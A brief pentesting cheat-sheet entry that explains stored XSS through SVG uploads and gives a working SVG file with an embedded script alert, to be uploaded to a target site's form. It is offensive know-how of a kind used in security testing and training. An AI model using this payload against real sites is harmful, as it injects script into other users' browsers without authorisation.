EMBEDDED JAVASCRIPT (XSS)

Scalable Vector Graphics (SVG) images are XML-based, and they describe 2D vector graphics, which the browser renders into an image. the XML data can be modified to include malicious XSS payloads.

root@oco:~$ BROWSER > GOOGLE SEARCH: svg images
 * download any svg image

#since svg images are just xml code, you can simply write a blank svg image yourself
root@oco:~$ nano svgImage.svg
 <?xml version="1.0" encoding="UTF-8"?>
 <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
 <svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="1" height="1">
  <rect x="1" y="1" width="1" height="1" fill="green" stroke="black" />
  <script type="text/javascript">alert(window.origin);</script>
 </svg>
 
root@oco:~$ BROWSER {targetSite:port}
 upload form: svgImage.svg
 * once uploaded, the xss payload will trigger